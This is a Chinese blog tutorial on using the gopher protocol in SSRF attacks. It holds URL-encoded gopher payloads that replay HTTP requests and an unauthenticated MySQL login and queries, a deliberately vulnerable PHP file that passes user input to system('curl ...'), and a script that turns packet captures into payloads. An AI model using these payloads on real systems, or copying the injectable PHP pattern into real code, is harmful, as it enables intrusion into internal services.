对万金油gopher协议的理解与应用


        

前言

之前不理解他们为什么要将gopher协议称为万金油,那个时候对gopher一无所知,但是在ctf和实际挖洞过程中总是能碰到ssrf,再Google一下gopher常见的运用场景


让我觉得有必要认识一下这位万金油。

通过我看的一些文章,我大概理解到万金油的意思应该就是在某些场景它的应用非常灵活和广泛,通过构造我们想要发送的数据包,利用gopher协议发送,就能实现我们想要的请求(我乱说的,我也不知道)。

比如,利用gopher实现:GET请求,POST请求,内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等

gopher协议

gopher协议的格式:

1
gopher://127.0.0.1:70/_ + TCP/IP数据

gopher的默认端口为70,如果没有指定端口,比如gopher://127.0.0.1/_test默认是发送给70端口的

这里的_是一种数据连接格式,不一定是_,其他任意字符都行,例如这里以1作为连接字符:

1
root@kali:~# curl gopher://127.0.0.1/1test

gopher协议的实现:
gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。

在实例中认识与实践gopher

支持gopher协议的有 curllibcurl,本文测试使用 curl

对于内网web的GET请求(通常构造gopher用来请求内网)

测试代码:

1
2
3
4
5
6
7
//index.php

<?php

echo $_GET['test'];

?>

正常请求抓包:

构造gopher本地请求(将数据包进行url编码):
请求包内容:

1
2
3
4
5
6
7
8
9
10
GET /index.php?test=123 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

然后对数据编码发送gopher(我自己写了一个脚本,放在文末):

1
curl gopher://127.0.0.1:80/_%47%45%54%20%2f%69%6e%64%65%78%2e%70%68%70%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%37%34%2e%30%2e%33%37%32%39%2e%31%36%39%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%0d%0a

服务器正常响应:

服务器本地访问,这也就解释了当服务器在存在ssrf漏洞的时候(服务器请求伪造漏洞),可以通过gopher协议访问内网或者直接刺穿内网(通过存在未授权访问的redis,mysql等)。

POST请求同理。

攻击内网无密码验证的MySQL服务

关于MySQL的通信协议网上大佬都总结的很好,我参考了paper上一片文章:

使用gopher向3306端口发送访问MySQL的TCP/IP数据包。

实验环境:

1
2
服务器    kali虚拟机     192.168.159.131     存在ssrf,内网存在无密码验证的MySQL服务
客户端(攻击者) windows10物理机 192.168.100.159

准备工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//存在ssrf漏洞文件 
//ssrf.php:

<?php

system("curl $_GET[url]");
//由于php高版本不支持gopher协议,捣鼓了半天也没搞出个名堂
//出此下策,一个高仿的ssrf gopher协议利用
//由此得出,gopher协议在逐步被淘汰。
//$ch = curl_init();
//curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_HEADER, 0);
//$output = curl_exec($ch);
//echo $output; //回显,将结果打印出来
//curl_close($ch);
?>

1
2
3
4
5
使用root登录mysql,新建一个只允许本地登录的无密码的mysql用户,用于测试:

mysql> create user 'gurenmeng'@'localhost';
mysql> grant usage on *.* to 'gurenmeng'@'localhost';
mysql> grant all on *.* to 'gurenmeng'@'localhost'

准备工作完成,接下来开始测试:

1、首先通过本地抓包模拟要发送的数据包
因为本地测试,就简单点,我直接在kali上面抓取要发送的TCP数据包

1
2
3
在一个窗口抓本地3306的tcp数据包:

tcpdump -i lo -l port 3306 -w mysql.pcap

1
2
3
4
5
6
在另一个窗口使用TCP/IP认证访问:

kali> mysql -h 127.0.0.1 -u gurenmeng
mysql> use gurenmeng;
mysql> select * from grm_admin;
mysql> exit

然后用wireshark打开数据包:

右键跟踪tcp流:

可以看到这就是我们访问mysql的数据包,然后将我们发送的请求提取出来进行gopher协议发送

这里只需要我们发送的请求的数据,提取出原始字符串,合并为一段字符串,每两个字符前面加一个%,就是将我们的请求进行了url编码(url编码就是字符的十六进制加上%);然后通过gopher协议发送tcp数据包:

1
url编码数据:%bf%00%00%01%84%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%07%00%00%00%67%75%72%65%6e%6d%65%6e%67%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7d%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%37%31%37%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%30%2e%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%0a%00%00%00%02%67%75%72%65%6e%6d%65%6e%67%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%0b%00%00%00%04%67%72%6d%5f%61%64%6d%69%6e%00%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%67%72%6d%5f%61%64%6d%69%6e%01%00%00%00%01

在本地终端上测试:

1
payload:curl gopher://127.0.0.1:3306/_%bf%00%00%01%84%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%07%00%00%00%67%75%72%65%6e%6d%65%6e%67%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7d%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%37%31%37%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%30%2e%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%0a%00%00%00%02%67%75%72%65%6e%6d%65%6e%67%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%0b%00%00%00%04%67%72%6d%5f%61%64%6d%69%6e%00%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%67%72%6d%5f%61%64%6d%69%6e%01%00%00%00%01 --output -

1
2
//这里进行了两次url编码,应该是php自解码了一次,如果只编码一次,解码之后存在空格,执行system("curl $_GET[url]")时会报错
http://192.168.159.131/ssrf.php?url=gopher://127.0.0.1:3306/_%25bf%2500%2500%2501%2584%25a6%259f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2507%2500%2500%2500%2567%2575%2572%2565%256e%256d%2565%256e%2567%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%257d%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%250a%256c%2569%2562%256d%2561%2572%2569%2561%2564%2562%2504%255f%2570%2569%2564%2504%2537%2531%2537%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2505%2533%252e%2530%252e%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250c%255f%2573%2565%2572%2576%2565%2572%255f%2568%256f%2573%2574%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%2512%2500%2500%2500%2503%2553%2545%254c%2545%2543%2554%2520%2544%2541%2554%2541%2542%2541%2553%2545%2528%2529%250a%2500%2500%2500%2502%2567%2575%2572%2565%256e%256d%2565%256e%2567%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%250c%2500%2500%2500%2503%2573%2568%256f%2577%2520%2574%2561%2562%256c%2565%2573%250b%2500%2500%2500%2504%2567%2572%256d%255f%2561%2564%256d%2569%256e%2500%2518%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2567%2572%256d%255f%2561%2564%256d%2569%256e%2501%2500%2500%2500%2501

gopher编码脚本(主要是为了编码不可见字符和):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python
# -*- coding:utf8 -*-

import getopt
import sys
import re

def togopher():
try:
opts,args = getopt.getopt(sys.argv[1:], "hf:s:", ["help", "file=", "stream="])
except:
print """
Usage: python togopher.py -f <filename>
python togopher.py -s <Byte stream>
python togopher.py -h
"""
sys.exit()

if len(opts) == 0:
print "Usage: python togopher.py -h"

for opt,value in opts:
if opt in ("-h", "--help"):
print """
Usage:
-h --help 帮助
-f --file 数据包文件名
-s --stream 从流量包中得到的字节流
"""
sys.exit()
if opt in ("-f", "--file"):
if not value:
print "Usage: python togopher.py -f <filename>"
sys.exit()
words = ""
with open(value, "r") as f:
for i in f.readlines():
for j in i:
if re.findall(r'\n', j):
words += "%0d%0a"
else:
temp = str(hex(ord(j)))
if len(temp) == 3:
words += "%0" + temp[2]
else:
words += "%" + temp[2:]
print words

if opt in ("-s", "--stream"):
if not value:
print "Usage: python togopher.py -s <Bytg stream>"
sys.exit()
a = [value[i:i+2] for i in xrange(0, len(value), 2)]
words = "%" + "%".join(a)
print words

if __name__ == "__main__":
togopher()